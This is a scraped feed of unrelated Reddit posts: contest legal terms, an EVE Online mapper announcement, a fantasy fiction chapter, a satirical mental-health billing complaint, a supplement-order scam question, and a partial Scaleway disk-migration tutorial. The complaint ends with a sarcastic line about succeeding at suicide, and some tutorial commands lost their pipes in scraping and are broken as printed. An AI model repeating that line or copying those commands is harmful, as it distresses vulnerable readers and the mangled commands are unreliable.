- Disclaimer, Release and Limit of Liability. SPONSOR MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY KIND, EXPRESS OR IMPLIED, REGARDING ANY PRIZE OR YOUR PARTICIPATION IN THE CONTEST. BY ENTERING THE CONTEST OR RECEIPT OF ANY PRIZE, EACH ENTRANT AGREES TO RELEASE AND HOLD HARMLESS SPONSOR, KRAFTON, PEPS, ROCKSTAR, POLARIS, ANY THIRD-PARTY SOCIAL MEDIA CHANNELS UTILIZED FOR THE CONTEST, AND EACH OF THEIR SUBSIDIARIES, AFFILIATES, SUPPLIERS, DISTRIBUTORS, ADVERTISING/CONTEST AGENCIES, AND PRIZE SUPPLIERS, AND EACH OF THEIR RESPECTIVE PARENT COMPANIES AND EACH SUCH COMPANY’S OFFICERS, DIRECTORS, EMPLOYEES AND AGENTS (COLLECTIVELY, THE “RELEASED PARTIES”) FROM AND AGAINST ANY CLAIM OR CAUSE OF ACTION, INCLUDING, BUT NOT LIMITED TO, PERSONAL INJURY, DEATH, OR DAMAGE TO OR LOSS OF PROPERTY, ARISING OUT OF PARTICIPATION IN THE CONTEST OR RECEIPT OR USE OR MISUSE OF ANY PRIZE. THE RELEASED PARTIES ARE NOT RESPONSIBLE FOR: (1) ANY INCORRECT OR INACCURATE INFORMATION, WHETHER CAUSED BY ENTRANTS, PRINTING ERRORS OR BY ANY OF THE EQUIPMENT OR PROGRAMMING ASSOCIATED WITH OR UTILIZED IN THE CONTEST; (2) TECHNICAL FAILURES OF ANY KIND, INCLUDING, BUT NOT LIMITED TO MALFUNCTIONS, INTERRUPTIONS, OR DISCONNECTIONS IN PHONE LINES OR NETWORK HARDWARE OR SOFTWARE; (3) UNAUTHORIZED HUMAN INTERVENTION IN ANY PART OF THE ENTRY PROCESS OR THE CONTEST; (4) TECHNICAL OR HUMAN ERROR WHICH MAY OCCUR IN THE ADMINISTRATION OF THE CONTEST OR THE PROCESSING OF ENTRIES; OR (5) ANY INJURY OR DAMAGE TO PERSONS OR PROPERTY WHICH MAY BE CAUSED, DIRECTLY OR INDIRECTLY, IN WHOLE OR IN PART, FROM ENTRANT’S PARTICIPATION IN THE CONTEST OR RECEIPT OR USE OR MISUSE OF ANY PRIZE.
If for any reason an entrant's Entry is confirmed to have been erroneously deleted, lost, or otherwise destroyed or corrupted, entrant’s sole remedy is another entry in the Contest, provided that if it is not possible to award another entry due to discontinuance of the Contest, or any part of it, for any reason, Sponsor, at its discretion, may elect to hold a choosing from among all eligible entries received up to the date of discontinuance for any or all of the prizes offered herein. No more than the stated number of prizes will be awarded. In event that production, technical, programming or any other reasons cause more than stated number of prizes as set forth in these Official Rules to be available and/or claimed, Sponsor reserves the right to award only the stated number of prizes by a choosing from all legitimate, unawarded, eligible prize claims.
Sponsor reserves the right, in its sole discretion, to terminate, modify or suspend the Contest in whole or in part, if in Sponsor’s opinion: (a) the Contest is not capable of running as planned by reason of the occurrence of any event beyond its control including, but not limited to, fire, flood, epidemic, pandemic, earthquake, explosion, labor dispute or strike, act of God or public enemy, communications, equipment failure, utility or service interruptions, riot or civil disturbance, terrorist threat or activity, war (declared or undeclared), interference with the Contest by any party, or any federal, state, local or provincial government law, order, or regulation, order of any court or jurisdiction, or other cause not reasonably within Sponsor’s control, or (b) any other factors beyond Sponsor’s reasonable control corrupt or affect the administration, security, fairness, integrity, or proper conduct of the Contest, in all instances without liability to the participants. Sponsor also reserves the right to disqualify any participant or winner, as determined by Sponsor, in its sole discretion.
- Hold Harmless. You agree to release, indemnify, defend and hold Sponsor and its parent, affiliates, subsidiaries, directors, officers, employees, sponsors and agents, including advertising and promotion agencies, and assigns, and any other organizations related to the Contest, harmless, from any and all claims, injuries, damages, expenses or losses to person or property and/or liabilities of any nature that in any way arise from participation in the Contest or acceptance or use of a prize or parts thereof, including, without limitation, (a) any condition caused by events beyond Sponsor’s control that may cause the Contest to be disrupted or corrupted; (b) the prize, or acceptance, possession, or use of the prize, or from participation in the Contest; and (c) any printing or typographical errors in any materials associated with the Contest.
- Governing Law. These Official Rules and the Contest, and any action related thereto, will be governed by the Federal Arbitration Act, federal arbitration law and the laws of the State of California without regard to conflict of laws provisions. Except as otherwise expressly set forth in Section 11 “Dispute Resolution and Arbitration” the exclusive jurisdiction for all Disputes (defined below) that you and Sponsor are not required to arbitrate will be the state and federal courts located in Santa Clara County, California and you and Sponsor each waive any objection to jurisdiction and venue in such courts.
12. Dispute Resolution and Arbitration
(a) Mandatory Arbitration of Disputes. We each agree that any dispute, claim or controversy arising out of or relating to this Contest and these Official Rules or the breach, termination, enforcement, interpretation or validity thereof or participation in the Contest (collectively, “Disputes”) will be resolved
solely by binding, individual arbitration and not in a class, representative or consolidated action or proceeding. You and Sponsor agree that the U.S. Federal Arbitration Act governs the interpretation and enforcement of these Official Rules, and that you and Sponsor are each waiving the right to a trial by jury or to participate in a class action. This arbitration provision shall survive termination of these Official Rules.
(b) Exceptions. As limited exceptions to Section 11(a) above: (i) we both may seek to resolve a Dispute in small claims court if it qualifies; and (ii) we each retain the right to seek injunctive or other equitable relief from a court to prevent (or enjoin) the infringement or misappropriation of our intellectual property rights.
(c) Conducting Arbitration and Arbitration Rules. The arbitration will be conducted by the American Arbitration Association (“AAA”) under its Consumer Arbitration Rules (the “AAA Rules”) then in effect, except as modified by these Official Rules. The AAA Rules are available at
www.adr.org or by calling 1-800-778-7879. A party who wishes to start arbitration must submit a written Demand for Arbitration to AAA and give notice to the other party as specified in the AAA Rules. The AAA provides a form Demand for Arbitration at
www.adr.org. Any arbitration hearings will take place in the county (or parish) where you live, unless we both agree to a different location. The parties agree that the arbitrator shall have exclusive authority to decide all issues relating to the interpretation, applicability, enforceability and scope of this arbitration agreement.
(d) Arbitration Costs. Payment of all filing, administration and arbitrator fees will be governed by the AAA Rules, and we won’t seek to recover the administration and arbitrator fees we are responsible for paying, unless the arbitrator finds your Dispute frivolous. If we prevail in arbitration we’ll pay all of our attorneys’ fees and costs and won’t seek to recover them from you. If you prevail in arbitration you will be entitled to an award of attorneys’ fees and expenses to the extent provided under applicable law.
(e) Injunctive and Declaratory Relief. Except as provided in 11(b) above, the arbitrator shall determine all issues of liability on the merits of any claim asserted by either party and may award declaratory or injunctive relief only in favor of the individual party seeking relief and only to the extent necessary to provide relief warranted by that party’s individual claim. To the extent that you or we prevail on a claim and seek public injunctive relief (that is, injunctive relief that has the primary purpose and effect of prohibiting unlawful acts that threaten future injury to the public), the entitlement to and extent of such relief must be litigated in a civil court of competent jurisdiction and not in arbitration. The parties agree that litigation of any issues of public injunctive relief shall be stayed pending the outcome of the merits of any individual claims in arbitration.
(f) Class Action Waiver.
YOU AND SPONSOR AGREE THAT EACH MAY BRING CLAIMS AGAINST THE OTHER ONLY IN YOUR OR ITS INDIVIDUAL CAPACITY, AND NOT AS A PLAINTIFF OR CLASS MEMBER IN ANY PURPORTED CLASS OR REPRESENTATIVE PROCEEDING. Further, if the parties’ Dispute is resolved through arbitration, the arbitrator may not consolidate another person’s claims with your claims, and may not otherwise preside over any form of a representative or class proceeding. If this specific provision is found to be unenforceable, then the entirety of this Dispute Resolution and Arbitration section shall be null and void.
(g) Severability. With the exception of any of the provisions in Section 11(f) (“Class Action Waiver”), if an arbitrator or court of competent jurisdiction decides that any part of these Official Rules is invalid or unenforceable, the other parts of these Official Rules will still apply.
- Entrant's Personal Information. Information collected from entrants is subject to the PUBG MOBILE Privacy Policy, which is available at https://www.pubgmobile.com/privacy.html.
- Languages. These Official Rules may be made in multiple language versions. In the event of a dispute as to the terms of different language versions, the English version shall prevail.
- No Affiliation with Social Media Channels. This Contest is in no way sponsored, endorsed or administered by, or associated with, any of the social media channels used in connection with this Contest. You understand that you are providing your information to Sponsor and not to the social media channels. The information you provide will only be used as described in these Official Rules and the PUBG MOBILE privacy policy.
For any feedback or questions regarding these Official Rules, this Contest, winners, or prizes, you can contact Sponsor by sending an email to:
[email protected] submitted by
PlayPUBGMobile to
PUBGMobile [link] [comments]
2023.06.07 19:57 w9jds GalaxyFrinder - Wormhole Mapper!
It's been a couple years since I shared about the mapper I created. A lot has improved, changed, and been added so hopefully this covers most of it. Here is the discord if you would like to join and give feedback, ask questions, and request features:
Discord GalaxyFinder is built on cloud scalable infrastructure and security.
No PHP, JQuery front ends, bootstrap, python, etc. Here is what is used for this system: - Firebase Realtime Database - Each layer has its own security read/write rules - Firebase Cloud Functions (~20) - Automating removing of old data - Dumping data into a datalake as it happens - Triggering data consistency across the database
- BigQuery
- Analytics and statics data (for dashboards on request)
- Firebase Hosting
- React
- React-Sagas
- Redux
- Kubernetes
- Node WebApi
- Full SSL (Managed by GCP)
- Only used for custom JWT Authentication layer
- Cloud Tasks
- Managing and refreshing tokens
- 3 closed off container services
- Golang kill service
- Golang location service
- Con jobs container
- Affiliation updates
- System hourly statistics
- Auto logout inactive user characters (Remove character tokens)
- Reported Thera Connections
- Rust WebAssembly
- Custom routing algorithm for pathing
- Uses stargates, connections, thera, and specified avoid parameters to route space
- Automated Deployment
- Pushing to master runs a custom github workflow
- Deploys it to firebase hosting
- Triggers version update notifying all users a new version has been deployed
Static data uses information from Anoik.is and SDE which is updated regularly so triglavian systems, stargates, and routing all work appropriately.
Security
- Access Lists!!
- Give read and write access to corps, alliances, and characters on a per map basis
- Can only be updated by map owners (corp/alliance directors, or private owner)
- Character affiliations are auto updated every 30 minutes (CCP ESI Cache time)
- Tabs automatically appear and disappear based on any kind of security level changes (No refreshing required)
- Read access prevents you on a database level from modify anything related to a seen map
- There is no limitations on how many entities are allowed to be on access lists
- Locations for all characters are only visible to corp/alliance members
- Spais can't delete tabs or timers unless they own it
- The system will NEVER ask for more scopes than what is needed
- Custom account system will default to just roles and titles
- When you use any of my tools it will just ask you to update your login scopes to include ones needed for the new tool
Signatures
- The signatures run your basis for the map!
- Clicking the home button will automatically set the signature to the parent system
- Hovering over the info icon will show you who created the signature and who last edited it
- Signatures NEVER go away, so you can see the last time you were in a system
- double clicking a signature on a row will open the edit for that signature
- Pasting into the mapper more than one signature from game will auto select signatures that weren't available in your paste (Making it super easy to just click delete to remove stale data)!
- Sites like gas and ore sites can be right clicked to be marked as triggered or cleared
- Signatures are shared across same security level maps
- When populating wormhole type, the connection will automatically set the connection to proper size for you
- If a signature matches a reported Thera connection, a '!' will appear letting you know the status and who reported it
System map
- Selecting a system will populate the page with related information
- When selected the map will automatically smooth scroll to bring the node as close to the center of the view as possible
- Statics will appear in the top right and take you to external sources showing you details
- Zkill and Dotlan buttons for that system
- Routes (if k-space) showing destinations from that system
- Signatures and Anomalies list
- Notes made for that system
- You can flag systems to tell people you noticed drifters active in the system (timestamped)
- Hovering over the effect icon on a node shows you the effects it causes
- Pinging a system will animate the node and allow you to hover and see the Pinging
- Ping notes stay forever until they are deleted meaning you can leave messages for when it is found again
- Double Clicking systems that haven't been fully mapped out automatically opens the edit window for them
- Set the status of a system to show if it is scanned, hostile, or empty
- Character locations are shown and updated in real time
- Hovering over the badge showing the count will show a list of characters, ship names, and ships
- The purple badge shows where your current character is located
- Right clicking connections
- Allows you to update the status of a connection
- Set the size of the connection
- Hovering over a node will highlight the connection that moves up from that system
- K-Space systems have the ability to right click and add the system to your in game waypoint
- Rebuilding chains is now possible, since signatures never go away you can right click a system and choose rebuild connections
- Rebuild will recreate all wormhole signature on the selected system that aren't currently on the map
- Any connection statuses and overlays that were there previously are preserved
- EoL connections
- Change color as time passes to let you know how old it is
- Hovering over them will show a timer of estimated time left on the connection
- K-Space systems have a stargate menu option allowing you to add stargate connections to its known connections (including triglavian gates)
- Day tripping?
- Now you can right click a system you are in, then set it to the root of the map, it will keep everything attached to it and below!
- You no longer have to create a new map to change the root each time you log in
- Statics also appear as little bubbles on each system so you can see what kind are at a glance (or hover over if you don't know the colors yet)
Automapper
- Automatically detect when you change systems to autopopulate details
- Filters possible signatures based on their type
- Drawer pops open from the right letting you choose the signature you just jumped through
- Signature list is populated showing all non filled out signatures for the system you just left
- If you forgot to fill out the signature you can add it to the system and the drawer will auto update
- Selecting a system automatically updates the system with your new system's details
- Drawer will automatically select the system you just came from on the mapper when opened
- K-Space automapping is toggleable
- If you jump from a k-space on the map to K-Space registered as a stargate jump it will automatically add a stargate connection to that system on the map
Structure timers
- Keep track of timers you come across
- Owners, Time, Type, Structure are all visible in the drawer
- Times are automatically converted to the viewers time zone
- Timers can only be removed by ownedirector to prevent tampering
- When the timer has passed it will appear as red
- Timers appear in the structure area of the intel panel on the right
Pathfinder
- Drawer popout that helps you find the fastest route to your destination
- When you enter a destination it will show a path from all k-space systems in the current map
- When you select one of the k-space destinations it will automatically select and flair that system on the map so you see which one the path is for
- This also scrolls the map so the system is in view for you to see
- It will also highlight all connections and systems on that route (if it uses wormhole connections)
- The routes work the same way they do in the normal routes panel!
Route Panel
- Specify the systems you want to auto appear in the list
- Shows shortest, safest, and known routes to each system
- Expanding will show each system you jump through
- Right clicking on any system on the node will allow you to set your in game waypoint
- Hovering over each system will show you the route on the above map (if using wormholes)
- This also takes into account known Thera connections!
- If you have the setting enabled, it will avoid frigate connections
Locations
- Locations are automatically tracked once the character has been added to the system
- UseCharacter doesn't have to have the website/mapper open for tracking to work
- Locations, Ships, Ship names are updated every ~6 seconds
- You will only see your corp/alliance members (based on map permissions/security)
- Number bubble on systems shows you how many people are in that system
- Purple shows the system that you are currently in (blue is for ones you aren't in)
- Hovering over the bubble will show you the player, ship, and ship name for everyone in system
- Intel view has a view to see pilots in the currently selected system too without need for hovering over the bubble
Kill Tracker
- When a new kill is logged into zkill (redisq real-time)
- If the system is on your current map you will get a notification (if browser notifications are turned on)
- The system will have a pulse animation around it for 60 seconds
- Selecting a specific system will show you a list of at least the last 6 kills in that system
- If the tab is unfocused or closed the tab title will blink with the latest kill info until you open the mapper
- If the intel panel is closed and new chain intel comes in, the light bulb will flash red until you open it to see it
- Kills listed in the chain feed are clickable, automatically selecting that system and scrolling to it
- Items will show you
- Who died, what ship, corp/allinace they belonged to
- How many of each ship type is on the kill
- Affiliation of the character that got the final blow
- Selecting any of the pictures will take you to their zkill
Customization
- You can select a background for the mapper from a set of already stored backgrounds
- Turn stargate automapping on and off
- Setup the tab you want to automatically load when you load up the mapper
- Add all of your alts into your account, and switch between them from the drawer on the left
- System alias' allow you to override a system's name indefinitely until removed
- Temp Id's default to the signatures first three letters, but can be overridden to appear how your bookmarks work (disappears when system is removed)
- Set in the destinations you want to automatically see routes to when a k-space is selected
- Turn on and off routing through frigate connections
I have created TONS of custom systems for this, and have open sourced a lot of the micro-services, backends, CI/CD tools and pipelines:
New Eden WebAPI (and Cloud Functions) - This is the backend authentication webapi that handles auth for the mapper (as well as cloud functions)
Node ESI Stackdriver - Custom ESI library I created for all my TS backends that also does all it's logging to GCP stackdriver
Firebase Action - Custom GitHub Action to automatically deploy static sites like GalaxyFinder and Account Management on commit
Setup Firebase - Custom GitHub Action for using firebase cli to automate deployments, emulation, testing, and more (improvement of firebase-action)
Firebase Trigger - Custom GitHub action used to update version numbers on deployments to trigger release notifications to users
Chingy Locations (Deprecated) - Somewhat outdated micro-service used to update player locations for the mapper (deprecated and replaced)
Capsuleer Locations - New location golang micro-service
Go ESI - Custom golang esi module I created and is used for kill tracking, aura discord bots, and more
Go ZKB - Custom golang zkb module I created to ingest redisq feed
Go EvePraisal - Custom golang evepraisal module I created to interact and apraise chunks of data (for getting things like full kill values of virtually fitted ships)
Aura Bot - Custom Aura Discord bot built to handle things like SRP, Kill tracking, etc. Built on top of go.esi, go.zkb, go.evepraisel, discordgo
Eve Routes - Rust micro-service that gets routes for EVE using a* algorithm to find the shortest, safest, less safe, custom routes
submitted by
w9jds to
Eve [link] [comments]
2023.06.07 19:53 Necrolancer96 Summoning Kobolds At Midnight: A Tale of Suburbia & Sorcery. 87
Chapter LXXXVII
Somewhere, West Virginia, USA.
"Well, there goes the neighborhood." Agent Smith stated as him, Agent Doe, and everyone else in town, watched the migration of people stream into the small town as the sun hit the horizon.
They looked like a bunch of extras to Lord of the Rings. People with pointed ears and flowing robes. People short and stout and with thick beards with bands of gold and silver woven into them. Shorter people that spoke in high-pitched nasally voices and large glasses. There were even people dressed in what looked like giant turtle suits.
Of course that's what the townsfolk would think. To the two Agents it was a very real possibility that these people came from another world like the lizard people, greenskins, and the halflings.
"So much for my report being up-to-date." Agent Smith sighed as he went inside and burned the report he had spent so much time typing out. As he cleaned up the ashes the hotel phone rang.
Johnathan looked between the phone and Agent Smith with a look of curiosity as the Agent seemed greatly hesitant to answer. Agent Smith looked at Johnathan as the phone continued to ring. He walked over and disconnected the line to the phone and it went silent. For a second.
"Damn." Smith cursed as the disconnected phone rang once more despite there being no connection.
He picked up the phone and placed it to his ear. He bit back another curse as the voice of the Director came through.
"Agent Smith."
"Director."
"How is the investigation coming along?" She asked.
"Well, until about a few minutes ago it was going pretty smoothly and quietly."
"Oh? And what, pray tell, changed?"
"I'd tell you but if you're calling then that means you already know."
"Of course I already know. I'm just disappointed it came from our sources in the State Government and not my two field agents."
"What is the State going to do?"
"They're going to send the 111th Engineer Brigade, and the 77th Brigade Troop Command."
"All of them?!"
"What did you expect? The population of some small town in the middle of nowhere just became the largest in the State in a single day. They're even sending the 35th."
Smith tapped his foot in thought.
"Can we stop them? Or at the very least make it so they don't send damn near the entire National Guard of West Virginia?"
"No can do Agent. Even if we had caught this before the Governor's office did, we still would've sent troops in. This became top priority the second a large number of people came over."
"Well what about leaks? We can't keep the lid on this with so many showing up."
"We'll be sending our own task force. Officially they are there as "Federal Oversight". In actuality they are there to aid you in your investigation as well as limit leaks from the National Guard."
"So there isn't anything we can do to stop them from showing up en masse?"
"Unfortunately no. Aerial recon is being deployed to "substantiate" the claim. But seventy-thousand people showing up out of nowhere isn't something to take lightly. When they see that there are indeed an entire city's worth of people, then they will send the rest. But that will be a few days, a week at most. Once they verify, they'll be getting crash courses in crisis response and begin mobilization."
"What about the rest of the Federal Government?"
"As far as the State is aware WE are the Federal response. And we are going to keep it that way."
Smith didn't like this, not one bit. It was hard enough doing their job quietly in even a small town like this. Now they had to worry about not only a population the size of medieval Venice, but now the National Guard.
"What if we-"
"No, Agent Smith."
"We could do it you know?"
"Not in the time we have nor the volume. You should know that disappearing an entire town is hard enough, doing it to a city's worth of people is harder to not only pull off but harder to sell to the public."
Smith huffed in frustration.
"So what's the new mission?"
"The same as it was before. Only this time, you'll be getting a team to back you up. Set up and monitor everything that happens. Keep the NG from getting too close to the less explainable creatures and people. ESPECIALLY keep them away from Entity APL-1."
"You mean-"
"I will not use that ludicrous name! It is a dangerous entity! Not a pet!"
Smith chuckled a bit.
"Since we're talking, would you like my report up till today?"
The Director sighed.
"Very well. Only because this is a secure way of communicating."
So Smith gave the Director his report. Jeb and the kobolds. Morty and the greenskins. The halflings. All of it. There was a pause as the Director processed the information. No doubt already sending various people about to adjust to the new information.
"Is that all you have to report Agent Smith?"
"Yes Ma'am."
"Good, continue as planned until our team arrives then procced from there."
"Yes Ma'am."
"And don't call me Ma'am. Makes me sound old."
"You are old."
Smith heard the Director guffaw.
"And you aren't?! Quit being insubordinate and get back to work Agent Smith."
"Yes Ma-"
CLICK
"Rude old bitty." Smith quipped playfully as he set the dead phone back on its base.
Johnathan just stared at Smith.
"How-"
"Trade secret Agent Doe. You'll find out when you're older. In the mean time. Its business as usual until reinforcements arrive. So go pull up a chair and observe." Smith stated as he dragged one of the worn hotel chairs out and sat on it while he watched the sheer number of people walking about along the main street of the town.
-----
Time must be different here than back home, because that was NOT "20 minutes", thought the Duchess as she entered the town the deputy had pointed out to her. She and her people were drained. Mentally, physically, and emotionally.
This worlds sun was past its peak when they came to this world. Now it was just nearing the horizon to the west as they reached the town. The chill air didn't help, especially the turtle people from the isles. The moderately sized enclave that live- HAD lived in Daele grumbled and groaned the whole walk. Both the temperature difference and the long journey didn't agree with them.
Everyone had dressed for a spring that, just a few hours ago, they were sure they weren't going to see. Now it felt like they had missed it entirely! But the sight was still something to behold.
Sure it wasn't a grand city like Daele... was. But it was still shelter, and it was still a wonder to see. Buildings made of faded red brick or what looked like solid stone and glass. A road made from a faded black stone. Lights that didn't look like they needed fire. Not to mention the multitude of metal carriages about! She couldn't see any horses in sight and she wondered how they were pulled.
A sentiment shared by many, but especially of Dylan. He was looking around the new town with wide eyes. Scribbling on his notepad furiously as his eyes darted back and forth over everything new they saw. He wasn't the only one shocked and awed. Though some looked less than impressed by the simple, even rough, conditions of the town.
They weren't sure where to go, but seeing a slightly taller white colored building decided to head there. Perhaps that was where they could inquire with whoever the ruler was, the Duchess thought.
As they neared City Hall, the Duchess glanced about and observed the people of the town. Everyone she saw was human, many were old and tired looking. But even the younger people she saw had a tired and worn look on their face. These looks barely changed as they watched and stared at the migration.
There were no offers of support or aid from the townsfolk. Judging from the condition of the town, they probably didn't have much for themselves let alone her people, she thought sadly. Her honor guard stayed close to her as they made their way through the street.
As she reached the steps of City Hall a commotion was heard and a portly man, a gangly nervous looking man, and several other, equally rounded, men shuffled out and greeted her. Or what might pass for a greeting around here.
"Who are you and what is going on here?!"
The nervous looking man stuttered a response.
"T-t-t-the Sh-sh-sheriff l-l-l-l-"
"Cease your infernal stuttering Greg and get to the point!" The Mayor snapped.
"The point is Gerald is that these people arrived looking for shelter." The Sheriff stated as he climbed the stairs, his two deputies flanking him.
The Mayor cast a suspicious eye on the sea of people that filled out one of the few roads Somewhere had. They were starting to coalesce around City Hall as they tried to get close enough to hear what was happening. Though many were still amassed at the edge of town where the town ended and the landscape changed to that of fields and hills.
"Oh are they now? Pray tell how we are supposed to shelter them Sheriff? How are we supposed to feed them? Hmm? Did you think of that before inviting these people to our town?"
"You're right Mayor. Our town is under enough stress without adding more people we can't take care of." The Sheriff answered plainly.
"There we have it! You all will just have to-"
"That's why I called the Governor and he's sending the National Guard to aid both the town and these poor people."
"YOU WHAT!?" The Mayor rounded on the Sheriff so fast his jowls still shook from the motion.
The Sheriff stepped up to the Mayor.
"We needed help before these people showed up. Now we DESPERATLY need help!"
"So you call the Governor!?! Are you mad!?"
"No! I care about this town and I'm not going to see it die because you're too scared of the past!"
"There's a damn good reason we are and you know it!" The Mayor hissed.
As the Mayor and the Sheriff bickered, the Duchess, flanked by two of the Delta Guard, walked up the steps and bowed to the two men. The heavily armed and armored men made the councilmen and deputies nervous, causing the latter to put their hands on their holsters.
"I am sorry if our presence puts too much strain on your town. If need be we will leave at first light."
"Good! You can-"
"STAY! We are good and honest folk and we won't turn away those in need!"
"If it helps alleviate your burden. We do have some wealth that we still retain. We can donate some as thanks for your hospitality."
The Mayor, and councilmen, perked up at that.
"Wealth you say?"
The Duchess touched a hand to a ornate necklace she had. Silver and aquamarine. She unclasped it and held it out.
"I could not ask my people to do what I would not. So accept this as my thanks."
The Mayor's eyes went wide and he licked his lips as he reached a fat hand out to snatch up the exquisite jewelry. But he was stopped by the Sheriff who stood between the necklace and his meaty hands. The Delta Guard tensed at the movement put did no more once it was apparent it wasn't a threatening motion.
"That isn't necessary. If you wish to show thanks then please. Enjoy what the town has to offer. Food, a few hotels and apartments you and yours can stay in and any other services and amenities you find. Please. If you wish to offer thanks, then offer it to the people of the town itself."
The Duchess smiled and withdrew the necklace before bowing.
"Thank you for your hospitality. Me and my people will do our utmost to repay it and do our best to be civil guests in your town!"
"Of course! If need be there are other places that might be able to shelter your people. We have some space at the station. The railyard probably wouldn't say no to housing some of your people. As I said, we have room and board in several parts of town that wouldn't say no to any new business!"
The Sheriff and the Mayor bickered quietly while the Duchess turned to address her people.
"Good people of Daele! We have come far from our home by the sea and have faced many hardships in these past weeks! But now the people here have been generous enough to offer us shelter! Offer us Sanctuary! They only ask that we reward that kindness at the many shops and vendors around the town! So go and find a place to rest and fill your bellies and get warm!"
With that, the great flood of people murmured curiously and excitedly as they formed various groups and began to explore the town as the message was carried through the mass of bodies. As the Duchess watched, many group heads came to her.
The scions of the dwarven banking clans and the remnants of the nobility, elvish and human, walked up to join her. As did the heads of the various merchant houses, smithy and artisan guilds. Even Alban pulled Dylan away from running off to fulfill his duty as the leader, and half, of the Artificers Guild. The Great Sage of the tortle enclave grunted as she walked over with the rest of the leaders before sitting down on the cool grass nearby with a relieved sigh.
"What're we ta do now yer Ladyship?" One of the dwarves asked as he ran a bejeweled hand over his golden beard that was woven with emerald imbedded silver bands.
"We do as I stated. We find places to rest and recover from our journey. Tomorrow we will meet again with the leaders of the town and work out the rest."
One of the elves sniffed his hawkish nose as he gazed at the town.
"Are we really to stay in such a place so...
pedestrian?"
"We aren't really in a position to argue my Lord. If it is not to your liking then you are free to keep walking in hopes of finding someplace more suited to your tastes."
The elf sniffed indignantly but remained where he was. One of the merchants spoke next.
"What should we do then? We have no place to work our trades."
The other merchants and various guild leaders nodded in affirmation.
"For tonight, just find food and shelter. I'm sure that these people will have need of, and greatly appreciate, your work. As I have stated already. Food and shelter first. Everything else will be settled tomorrow."
The leaders all grumbled and murmured but did little else as they split off to find their own places of rest. The Great Sage groaning and grumbling as she forced herself to stand and return to her people. Though the dwarves and Dylan walked over to the Sheriff and Mayor.
"Excuse me lad? What were tha' 'bout a
railyard?"
The Sheriff broke the mutual glaring between him and the Mayor and turned to the stout man.
"The railyard. Its on the north of town. Follow the main road here and take a left at the library. Can't miss it."
"Well thank ye lad. But uhm? What is a
railyard?"
"Well, its a place where trains are stored and maintained, its also where freight from our town is, or
was, shipped out of and to the rest of the country."
The dwarves hummed in understanding.
"One last question lad. What is a train?"
[First] [Prev] [Next]
submitted by
Necrolancer96 to
HFY [link] [comments]
2023.06.07 19:50 sagecxleste so i just caught this foreshadowing for stalkyoo!! (curious cat 2018)
2023.06.07 19:30 amer1canwh0re Mental health resources in America
Insurance company: We saw you had three psychiatric inpatient stays and we hope you are ok! We can connect you to outpatient psychiatric resources if you would like. We care a lot!!
Also insurance company: Here is a $20,000 dollar bill for a hospital stay we said we would cover. Oh and here is another hospital bill. And another! Next time be successful in killing yourself to avoid medical debt!
submitted by
amer1canwh0re to
mentalhealth [link] [comments]
2023.06.07 19:24 Miserable_Ad3165 If you own a supplement brand (or i guess any other consumable) what is happening here?! Lol
Story: Basically, someone reached out to my supplement brand (through email and contact submission on the website) basically requesting wholesale info for our product. For my brand, it was a shit ton (600 bottles). After quote and shipping costs, he said he would put submit a PO. We talked briefly over the phone (maybe 60 seconds) and after the phone connection broke up many times, we decided to just text.
🚩 #1 He said it was for a health company, and when I searched the address it was a Hospital in Florida (which he mentioned had locations in Florida, Oregon, and California)
🚩 #2 He wants me to ship the products to what looks to be a trailer home in Tennessee…
🚩 #3 I asked if he plans to resell, and he said no, that they would be the end user. He claims they would be passed out to staff and coworkers
Guys, what is happening? My brain has been in a blender all morning
submitted by
Miserable_Ad3165 to
smallbusiness [link] [comments]
2023.06.07 19:14 ValdikSS Scaleway VC1-x, X64-x, Start1-x bootscript to local boot in-place migration without destroying the instance
I have a VC1S type VPS instance since 2016. Scaleway has deprecated the "bootscript" booting method which was initially used by default some years ago, unfortunately without providing a method to perform in-place migration for current "local boot" method for this type of instance.
The
official migration documentation provides the steps to convert only newer types of instances which were initially configured for UEFI booting, and tells us to export all the data, recreate the disk and attach it to a new instance otherwise, which is the case with VC1-x, X64-x, Start1-x types.
My VC1S type of machine is a legacy one and not offered anymore, but more importantly, it's much cheaper than the current instance families. that's why I'd like to keep it instead of creating new type of instance with the old data.
The major inconvenience is that VC1-x, X64-x, Start1-x come with no partition table and partitions on local disk: the ext4 file system is created directly on the disk, without the bootloader or even kernel (it is provided by the bootscript/hypervisor). This kind of partitioning could not be used for regular UEFI booting. We'll move the data partition, make the partition table and create the EFI partition for it to boot.
BEFORE YOU BEGIN
Create a snapshot of your disk using Scaleway interface, just in case something goes wrong. Wait until it finishes creating.
The steps we'll take to convert the data:
- Install the kernel and grub packages to the OS
- Shrink the filesystem size
- Move the filesystem data in-place further to the disk
- Create GPT partition table, EFI and data partitions
- Install the bootloader (GRUB) in UEFI mode
- Fill in fstab
All is based on Debian 10.
1. Install the packages
You'll need at least the kernel and the bootloader. I've also installed "ifupdown", as for some reason it was missing in my installation and no network was configured after all the steps (the console access worked though).
# apt install linux-image-amd64 grub-efi-amd64 ifupdown
Make sure that /boot has the vmlinuz and initrd files
# ls /boot config-4.19.0-24-cloud-amd64 initrd.img-4.19.0-24-cloud-amd64 System.map-4.19.0-24-cloud-amd64 vmlinuz-4.19.0-24-cloud-amd64
Make sure grub-install command is present (you don't need to install the bootloader yet)
# grub-install --version grub-install (GRUB) 2.06-3~deb10u3
2. Shrink the filesystem size
Now reboot to the rescue image of Scaleway. poweroff from the console, go to Advanced Settings, select "Use rescue image", boot the machine.
Once it's booted, login to the machine over SSH, you'll be in a rescue mode. It boots a special image from another disk, allowing unrestricted manipulations with your local disk.
Ensure you have your local disk with the filesystem
# cat /dev/vda file - /dev/stdin: Linux rev 1.0 ext4 filesystem data, UUID=1865917f-d4e9-4bcf-b624-de9dc97d0f20 (extents) (large files) (huge files)
Perform the filesystem check:
# fsck.ext4 -f /dev/vda e2fsck 1.46.5 (30-Dec-2021) Pass 1: Checking inodes, blocks, and sizes Pass 2: Checking directory structure Pass 3: Checking directory connectivity Pass 4: Checking reference counts Pass 5: Checking group summary information /dev/vda: 178933/3055616 files (1.1% non-contiguous), 2852413/12207031 blocks
Check the filesystem size:
# dumpe2fs /dev/vda grep -F 'Block count' dumpe2fs 1.46.5 (30-Dec-2021) Block count: 12207031
This is 12207031
blocks × 4096 block size = 49999998976
bytes (50 GB)
Now shrink the partition size to the minimal amount, to ease its moving:
-M Shrink the file system to minimize its size as much as possible, given the files stored in the file system. # resize2fs -M /dev/vda resize2fs 1.46.5 (30-Dec-2021) Resizing the filesystem on /dev/vda to 3045809 (4k) blocks. The filesystem on /dev/vda is now 3045809 (4k) blocks long.
